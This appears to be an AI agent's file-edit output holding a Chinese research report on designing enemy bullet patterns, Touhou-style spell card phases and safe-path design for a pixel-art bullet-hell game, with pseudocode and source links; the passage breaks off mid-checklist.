符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。", "new_no": 374}, {"type": "add", "content": "3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。", "new_no": 375}, {"type": "add", "content": "4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。", "new_no": 376}, {"type": "add", "content": "5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。", "new_no": 377}, {"type": "add", "content": "", "new_no": 378}, {"type": "add", "content": "---", "new_no": 379}, {"type": "add", "content": "", "new_no": 380}, {"type": "add", "content": "## 7. 信息来源与置信度说明", "new_no": 381}, {"type": "add", "content": "", "new_no": 382}, {"type": "add", "content": "按信息诚实原则,对所有关键结论标注来源与置信度:", "new_no": 383}, {"type": "add", "content": "", "new_no": 384}, {"type": "add", "content": "**(A)本轮调研直接引用的网页来源(置信度高,可复核):**", "new_no": 385}, {"type": "add", "content": "", "new_no": 386}, {"type": "add", "content": "1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en", "new_no": 387}, {"type": "add", "content": "2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html", "new_no": 388}, {"type": "add", "content": "3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html", "new_no": 389}, {"type": "add", "content": "4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡", "new_no": 390}, {"type": "add", "content": "5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=", "new_no": 391}, {"type": "add", "content": "6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)", "new_no": 392}, {"type": "add", "content": "7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide", "new_no": 393}, {"type": "add", "content": "8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design", "new_no": 394}, {"type": "add", "content": "9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups", "new_no": 395}, {"type": "add", "content": "10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo", "new_no": 396}, {"type": "add", "content": "11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything", "new_no": 397}, {"type": "add", "content": "12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku", "new_no": 398}, {"type": "add", "content": "13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup", "new_no": 399}, {"type": "add", "content": "14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md", "new_no": 400}, {"type": "add", "content": "15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101", "new_no": 401}, {"type": "add", "content": "16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/", "new_no": 402}, {"type": "add", "content": "17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。", "new_no": 403}, {"type": "add", "content": "", "new_no": 404}, {"type": "add", "content": "**(B)置信度说明:**", "new_no": 405}, {"type": "add", "content": "", "new_no": 406}, {"type": "add", "content": "- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。", "new_no": 407}, {"type": "add", "content": "- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_no": 408}, {"type": "add", "content": "- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。", "new_no": 409}, {"type": "add", "content": "- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。", "new_no": 410}, {"type": "add", "content": "", "new_no": 411}, {"type": "add", "content": "---", "new_no": 412}, {"type": "add", "content": "", "new_no": 413}, {"type": "add", "content": "## 附录 A:参考链接汇总", "new_no": 414}, {"type": "add", "content": "", "new_no": 415}, {"type": "add", "content": "- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)", "new_no": 416}, {"type": "add", "content": "- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)", "new_no": 417}, {"type": "add", "content": "- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)", "new_no": 418}, {"type": "add", "content": "- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)", "new_no": 419}, {"type": "add", "content": "- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)", "new_no": 420}, {"type": "add", "content": "- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)", "new_no": 421}, {"type": "add", "content": "- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)", "new_no": 422}, {"type": "add", "content": "- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)", "new_no": 423}, {"type": "add", "content": "- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)", "new_no": 424}, {"type": "add", "content": "- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)", "new_no": 425}, {"type": "add", "content": "- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)", "new_no": 426}, {"type": "add", "content": "- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)", "new_no": 427}, {"type": "add", "content": "- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)", "new_no": 428}, {"type": "add", "content": "- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)", "new_no": 429}, {"type": "add", "content": "- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)", "new_no": 430}, {"type": "add", "content": "- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)", "new_no": 431}, {"type": "add", "content": "- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)", "new_no": 432}, {"type": "add", "content": "- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)", "new_no": 433}, {"type": "add", "content": "- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)", "new_no": 434}, {"type": "add", "content": "- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)", "new_no": 435}, {"type": "add", "content": "", "new_no": 436}, {"type": "add", "content": "*报告完*", "new_no": 437}], "truncated": false, "current_text": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 